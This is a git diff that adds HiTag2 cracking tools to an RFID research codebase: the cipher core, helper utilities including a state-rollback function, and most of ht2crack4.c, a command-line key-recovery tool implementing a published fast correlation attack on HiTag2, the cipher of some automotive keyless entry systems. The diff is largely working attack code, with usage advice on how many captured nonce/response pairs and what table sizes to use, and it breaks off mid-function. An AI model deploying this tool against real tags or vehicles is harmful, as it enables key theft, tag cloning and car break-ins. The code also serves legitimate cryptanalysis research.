((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack4/hitagcrypto.h b/tools/hitag2crack/crack4/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack4/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack4/ht2crack2utils.c b/tools/hitag2crack/crack4/ht2crack2utils.c new file mode 100644 index 000000000..2152f8ef3 --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack2utils.c @@ -0,0 +1,187 @@ +#include "ht2crack2utils.h" + +// writes a value into a buffer as a series of bytes +void writebuf(unsigned char *buf, uint64_t val, unsigned int len) +{ + int i; + char c; + + for (i=len-1; i>=0; i--) + { + c = val & 0xff; + buf[i] = c; + val = val >> 8; + } + +} + + +/* simple hexdump for testing purposes */ +void shexdump(unsigned char *data, int data_len) +{ + int i; + + if (!data || (data_len <= 0)) { + printf("shexdump: invalid parameters\n"); + return; + } + + printf("Hexdump from %p:\n", data); + + for (i=0; i> 7); + x = x << 1; + } + } + printf("\n"); +} + + +void printbin2(uint64_t val, unsigned int size) +{ + int i; + uint64_t mask = 1; + + mask = mask << (size - 1); + + for (i=0; ishiftreg, 48); + printf("\n"); +} + + + + +// convert hex char to binary +unsigned char hex2bin(unsigned char c) +{ + if ((c >= '0') && (c <= '9')) { + return (c - '0'); + } else if ((c >= 'a') && (c <= 'f')) { + return (c - 'a' + 10); + } else if ((c >= 'A') && (c <= 'F')) { + return (c - 'A' + 10); + } else { + return 0; + } +} + +// return a single bit from a value +int bitn(uint64_t x, int bit) +{ + uint64_t bitmask = 1; + + bitmask = bitmask << bit; + + if (x & bitmask) { + return 1; + } else { + return 0; + } +} + + +// the sub-function R that rollback depends upon +int fnR(uint64_t x) +{ + // renumbered bits because my state is 0-47, not 1-48 + return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^ + bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^ + bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47)); +} + +// the rollback function that lets us go backwards in time +void rollback(Hitag_State *hstate, unsigned int steps) +{ + int i; + + for (i=0; ishiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg); + } + +} + + +// the three filter sub-functions that feed fnf +int fa(unsigned int i) +{ + return bitn(0x2C79, i); +} + +int fb(unsigned int i) +{ + return bitn(0x6671, i); +} + +int fc(unsigned int i) +{ + return bitn(0x7907287B, i); +} + +// the filter function that generates a bit of output from the prng state +int fnf(uint64_t s) +{ + unsigned int x1, x2, x3, x4, x5, x6; + + x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3); + x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3); + x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3); + x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3); + x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3); + + x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4); + + return fc(x6); +} + +// builds the lfsr for the prng (quick calcs for hitag2_nstep()) +void buildlfsr(Hitag_State *hstate) +{ + uint64_t state = hstate->shiftreg; + uint64_t temp; + + temp = state ^ (state >> 1); + hstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); +} + + + diff --git a/tools/hitag2crack/crack4/ht2crack2utils.h b/tools/hitag2crack/crack4/ht2crack2utils.h new file mode 100644 index 000000000..14eea840c --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack2utils.h @@ -0,0 +1,34 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "util.h" + +#include "hitagcrypto.h" + +#define HEX_PER_ROW 16 + + + +void writebuf(unsigned char *buf, uint64_t val, unsigned int len); +void shexdump(unsigned char *data, int data_len); +void printbin(unsigned char *c); +void printbin2(uint64_t val, unsigned int size); +void printstate(Hitag_State *hstate); +unsigned char hex2bin(unsigned char c); +int bitn(uint64_t x, int bit); +int fnR(uint64_t x); +void rollback(Hitag_State *hstate, unsigned int steps); +int fa(unsigned int i); +int fb(unsigned int i); +int fc(unsigned int i); +int fnf(uint64_t s); +void buildlfsr(Hitag_State *hstate); diff --git a/tools/hitag2crack/crack4/ht2crack4.c b/tools/hitag2crack/crack4/ht2crack4.c new file mode 100644 index 000000000..da439692f --- /dev/null +++ b/tools/hitag2crack/crack4/ht2crack4.c @@ -0,0 +1,868 @@ +/* ht2crack4.c + * + * This is an implementation of the fast correlation attack in Section 4.4 of the + * paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote + * Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides. + * It is essentially an attack on the HiTag2 cryptosystem; it uses a small number + * (between 4 and 32) of encrypted nonce and challenge response pairs for the same + * UID to recover the key. + * + * Key recovery is performed by enumerating all 65536 of the first 16 bits of the + * key and then, using the encrypted nonces and challenge response pairs, scoring + * all of the guesses for how likely they are to be the first 16 bits of the actual + * key. The best of these guesses are then expanded by 1 bit and the process + * iterates until all bits have been guessed. The resulting guesses are then searched + * for the one that is actually correct, testing against two pairs. + * + * The program reads in up to 32 encrypted nonce and challenge response pairs from + * the supplied file; the number actually used is specified on the command line + * (defaults to all those read in). The default size of the table is 800000 but this + * can be changed via the command line options. + * + * Using more encrypted nonce and challenge response pairs improves the chances of + * recovering the key and doesn't significantly add to the time it takes. + * + * Using a larger table also improves the chances of recovering the key but + * *significantly* increases the time it takes to run. + * + * Best recommendation is to use as many encrypted nonce and challenge response + * pairs as you can, and start with a table size of about 500000, as this will take + * around 45s to run. If it fails, run it again with a table size of 1000000, + * continuing to double the table size until it succeeds. Alternatively, start with + * a table size of about 3000000 and expect it to take around 4 mins to run, but + * with a high likelihood of success. + * + * Setting table size to a large number (~32000000) will likely blow up the stack + * during the recursive qsort(). This could be fixed by making the stack space + * larger but really, you need a smaller table and more encrypted nonces. + * + * The scoring of the guesses is controversial, having been tweaked over and again + * to find a measure that provides the best results. Feel free to tweak it yourself + * if you don't like it or want to try alternative metrics. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "ht2crack2utils.h" + +/* you could have more than 32 traces, but you shouldn't really need + * more than 16. You can still win with 8 if you're lucky. */ +#define MAX_NONCES 32 + +/* set this to the number of virtual cores you have */ +#define NUM_THREADS 8 + +/* encrypted nonce and keystream storage + * ks is ~enc_aR */ +struct nonce { + uint64_t enc_nR; + uint64_t ks; +}; + +/* guess table entry - we store key guesses and do the maths to convert + * to states in the code + * score is used for sorting purposes + * b0to31 is an array of the keystream generated from the init state + * that is later XORed with the encrypted nonce and key guess + */ +struct guess { + uint64_t key; + double score; + uint64_t b0to31[MAX_NONCES]; +}; + +/* thread_data is the data sent to the scoring threads */ +struct thread_data { + unsigned int start; + unsigned int end; + unsigned int size; +}; + +/* guess table and encrypted nonce/keystream table */ +struct guess *guesses = NULL; +unsigned int num_guesses; +struct nonce nonces[MAX_NONCES]; +unsigned int num_nRaR; +uint64_t uid; +int maxtablesize = 800000; +uint64_t supplied_testkey = 0; + +void usage() +{ + printf("ht2crack4 - K Sheldrake, based on the work of Garcia et al\n\n"); + printf("Cracks a HiTag2 key using a small number (4 to 16) of encrypted\n"); + printf("nonce and challenge response pairs, using a fast correlation\n"); + printf("approach.\n\n"); + printf(" -u UID (required)\n"); + printf(" -n NONCEFILE (required)\n"); + printf(" -N number of nRaR pairs to use (defaults to 32)\n"); + printf(" -t TABLESIZE (defaults to 800000\n"); + printf("Increasing the table size will slow it down but will be more\n"); + printf("successful.\n"); + + exit(1); +} + + +/* macros to select bits from lfsr states - from RFIDler code */ +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + +/* boolean tables for fns a, b and c - from RFIDler code */ +const uint64_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 +const uint64_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 +const uint64_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + +/* following arrays are the probabilities of getting a 1 from each function, given + * a known least-sig pattern. first index is num bits in known part, second is the + * bit pattern of the known part. */ +double pfna[][8] = { +{0.50000, 0.50000, }, +{0.50000, 0.50000, 0.50000, 0.50000, }, +{0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, }, +}; +double pfnb[][8] = { +{0.62500, 0.37500, }, +{0.50000, 0.75000, 0.75000, 0.00000, }, +{0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, }, +}; +double pfnc[][16] = { +{0.50000, 0.50000, }, +{0.62500, 0.62500, 0.37500, 0.37500, }, +{0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, }, +{1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, }, +}; + + +/* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */ +static uint32_t hitag2_crypt(uint64_t s) +{ + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + +/* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */ +uint64_t ht2crypt(uint64_t s) +{ + uint64_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 2, 5)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 8, 12, 14)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 17, 21, 23, 26)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 28, 31, 33)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 34, 43, 46)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +/* fnL is the feedback function for the reference code */ +uint64_t fnL(uint64_t x) +{ + return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^ + bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^ + bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47)); +} + + +/* packed_size is an array that maps the number of confirmed bits in a state to + * the number of relevant bits. + * e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits. + * this is for pre-shifted lfsr */ +unsigned int packed_size[] = { 0, 0, 0, 1, 2, 2, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8, + 8, 9, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15, + 15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 20 }; + + +/* f20 is the same as hitag2_crypt except it works on the packed version + * of the state where all 20 relevant bits are squashed together */ +uint64_t f20(uint64_t y) +{ + uint64_t bitindex; + + bitindex = (ht2_function4a >> (y & 0xf)) & 1; + bitindex |= ((ht2_function4b << 1) >> ((y >> 4) & 0xf)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> ((y >> 8) & 0xf)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> ((y >> 12) & 0xf)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> ((y >> 16) & 0xf)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +/* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */ +uint64_t packstate(uint64_t s) +{ + uint64_t packed; + + packed = pickbits2_2 (s, 2, 5); + packed |= (pickbits1_1_2 (s, 8, 12, 14) << 4); + packed |= (pickbits1x4 (s, 17, 21, 23, 26) << 8); + packed |= (pickbits2_1_1 (s, 28, 31, 33) << 12); + packed |= (pickbits1_2_1(s, 34, 43, 46) << 16); + + return packed; +} + + +/* create_guess_table mallocs the tables */ +void create_guess_table() +{ + guesses = (struct guess *)malloc(sizeof(struct guess) * maxtablesize); + if (!guesses) { + printf("cannot malloc guess table\n"); + exit(1); + } +} + + +/* init the guess table by reading in the encrypted nR,aR values and + * setting the first 2^16 key guesses */ +void init_guess_table(char *filename, char *uidstr) +{ + unsigned int i, j; + FILE *fp; + char *buf = NULL; + char *buft1 = NULL; + char *buft2 = NULL; + size_t lenbuf = 64; + + if (!guesses) { + printf("guesses is NULL\n"); + exit(1); + } + + // read uid + if (!strncmp(uidstr, "0x", 2)) { + uid = rev32(hexreversetoulong(uidstr + 2)); + } else { + uid = rev32(hexreversetoulong(uidstr)); + } + + + // read encrypted nonces and challenge response values + fp = fopen(filename, "r"); + if (!fp) { + printf("cannot open nRaR file\n"); + exit(1); + } + + num_nRaR = 0; + buf = (char *)malloc(lenbuf); + if (!buf) { + printf("cannot malloc buf\n"); + exit(1); + } + + while ((getline(&buf, &lenbuf, fp) > 0) && (num_nRaR < MAX_NONCES)) { + buft1 = strchr(buf, ' '); + if (!buft1) { + printf("invalid file input on line %d\n", num_nRaR + 1); + exit(1); + } + *buft1 = 0x00; + buft1++; + buft2 = strchr(buft1, '\n'); + if (!buft2) { + printf("no CR on line %d\n", num_nRaR + 1); + exit(1); + } + *buft2 = 0x00; + if (!strncmp(buf, "0x", 2)) { + nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf+2)); + nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1+2)) ^ 0xffffffff; + } else { + nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf)); + nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1)) ^ 0xffffffff; + } + num_nRaR++; + } + + fclose(fp); + fp = NULL; + + fprintf(stderr, "Loaded %d nRaR pairs\n", num_nRaR); + + // set key and copy in enc_nR and ks values + // set score to -1.0 to distinguish them from 0 scores + for (i=0; i<65536; i++) { + guesses[i].key = i; + guesses[i].score = -1.0; + for (j=0; j> (packed & 0xf)) & 1; + fncinput |= ((ht2_function4b << 1) >> ((packed >> 4) & 0xf)) & 